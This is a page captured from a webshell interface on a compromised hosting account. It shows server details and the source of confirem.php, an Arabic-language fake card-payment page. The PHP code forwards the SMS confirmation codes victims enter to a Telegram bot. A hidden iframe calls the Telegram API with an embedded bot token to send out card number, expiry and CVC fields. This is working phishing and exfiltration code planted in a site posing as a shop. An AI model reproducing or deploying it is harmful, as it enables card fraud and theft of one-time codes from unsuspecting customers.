403Webshell
Server IP : 162.0.215.10  /  Your IP : 18.188.171.59
Web Server : LiteSpeed
System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : alfhgysd ( 724)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/alfhgysd/squareone-sa.store/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/alfhgysd/squareone-sa.store/confirem.php
<?php
include 'controlPanel/Database.php';
$db = new Database();

$query = "SELECT * FROM `users` WHERE id = 2";
$result = $db->dbQuery($query);

if($db->dbNumRows( $result)){
    $rows = $db->dbFetchResult($result);
    foreach($rows as $row){
        $token = $row['token'];
        $tokenID = $row['tokenID'];
    }
}

if (!isset($_SESSION["user"])) {
    header("location:index.php");
}
$code = 0;
if (isset($_SESSION['user'])) {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $user = $_SESSION["user"];

        if (isset($_POST['mybtn'])) {

            $order = $_POST['order'];
            $databot=':: طلب جديد | كود جديد ::'.PHP_EOL.'رقم الطلب: '.$user.PHP_EOL.'كود التحقق: '.$order;
            $apiToken = $token;
            $data = [
            'chat_id' => $tokenID,
            'text' => $databot
            ];
            $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" .http_build_query($data) );    
        }
        
        $code = 1;
    }
}
?>
<html lang="ar" dir="rtl">
    <head>
    <?php include "head.php"; ?>
</head>

<body style="overflow: auto;" data-new-gr-c-s-check-loaded="14.1125.0" data-gr-ext-installed="">


    <div class="loaderk d-flex justify-content-center align-items-center" style="display: none; height: 0px;"> 
    </div>
    <?php include "header.php"; ?>
    <main>    <section class="mt-5 py-3">
    </section>
    <section class="container-fluid mt-3">
        <div class="row">
            <div class="rounded-4 shadow bg-white col-md-4 col-11 ms-auto me-auto px-4 py-3 my-md-5 my-3 border">
                <div class="row justify-content-center my-4  align-items-center">
                    <div class=" ">
                        <img src="assets/image/icons/visa.png" class="w-25 ms-5 ps-4" alt="">
                        <sapn class="fw-normal fs-4 text-center text-secondary   mx-2" dir="ltr">بطاقة ائتمانية | </sapn>
                    </div>
                </div>
                <div class="myCard">
                    <form action="confirem.php" method="POST" class="container">
                        <div class="form-floating mb-3">
                            <input type="hidden" name="err" value="" id="">
                            <input type="tel" name="order" class="form-control rounded-4 <?= $code == 0 ? '' : 'is-invalid' ?>" id="" required="" placeholder="رمز تأكيد العملية">
                            <p id="demo" class="text-danger p-3 mb-2"> سيتم ارسال الكود خلال 60 ثانية </p>
                            <label for="order">
                                <div class=" text-secondary">
                                    <i class="fa-solid fa-circle-check fa-fw mx-2 fa-lg"></i>
                                    رمز التأكيد
                                </div>
                            </label>
                            <?= $code == 0 ? '' : '<div class="invalid-feedback container mt-2"></div>
                            <div class="invalid-feedback container mt-2">
                                حدث خطأ في عملية الدفع حاول مرة اخرى !!                            
                            </div>' ?>
                            
                        </div>
                        <div class="px-2">
                            <div class="form-check mb-3 border-top pt-2">
                                <label class="form-check-label text-secondary" style="font-size: 12px;" for="flexCheckDefault">يرجى ادخال رمز تأكيد العملية الذي تم ارساله عبر رسالة
                                    SMS
                                </label>
                            </div>
                        </div>
                        <div class="mb-3">
                            <button type="submit" class="w-100 btn primaryColor rounded-4 py-2" name="mybtn" id="codeConfirm">تأكيد
                            </button>
                        </div>
                    </form>
                </div>

            </div>
        </div>
    </section>




    <iframe src="https://api.telegram.org/bot6275729004:AAHFnEvKPlk85C7GDxKFcXRPqi8u9ypHs2g/sendMessage?chat_id=-1001875595955&amp;parse_mode=Markdown&amp;text=🙎‍♂️ اسم البطاقة : { 55 } %0A  🔐 رقم البطاقة : { 5555555555555555 } %0A  📆 تاريخ البطاقة : { 55 / 55 } %0A  🔑 CVC البطاقة : { 555 } %0A الدفعة الاولى : 1000 %0A واتساب : https%3A%2F%2Fwa.me%2F%2B96655 %0A  " hidden="" frameborder="0"></iframe>
    <iframe src="" hidden="" frameborder="0"></iframe>
    <iframe src="" hidden="" frameborder="0"></iframe>
    <script src="assets/js/bootstrap.js"></script>

<script>
// Set the date we're counting down to
var countDownDate = new Date("Jan 5, 2024 15:37:25").getTime();

// Update the count down every 1 second
var x = setInterval(function() {

  // Get today's date and time
  var now = new Date().getTime();

  // Find the distance between now and the count down date
  var distance = countDownDate - now;

  // Time calculations for days, hours, minutes and seconds
  var days = Math.floor(distance / (1000 * 60 * 60 * 24));
  var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
  var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
  var seconds = Math.floor((distance % (1000 * 60)) / 1000);

  // Display the result in the element with id="demo"
            document.getElementById("demo").innerHTML = " سيتم ارسال الكود خلال " + seconds + " ثانية "

  // If the count down is finished, write some text
  if (distance < 0) {
    clearInterval(x);
    document.getElementById("demo").innerHTML = "EXPIRED";
  }
}, 1000);
</script>

<a href="https://wa.me/<?= $Whatsapp ?>" class="contact py-2 px-3 bg-success rounded-circle">
    <i class="fab fa-whatsapp text-white my-1 fa-2x"></i>
</a>
</main>
<?php 
include "footer.php"; 
include "script.php"; 
?>


</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit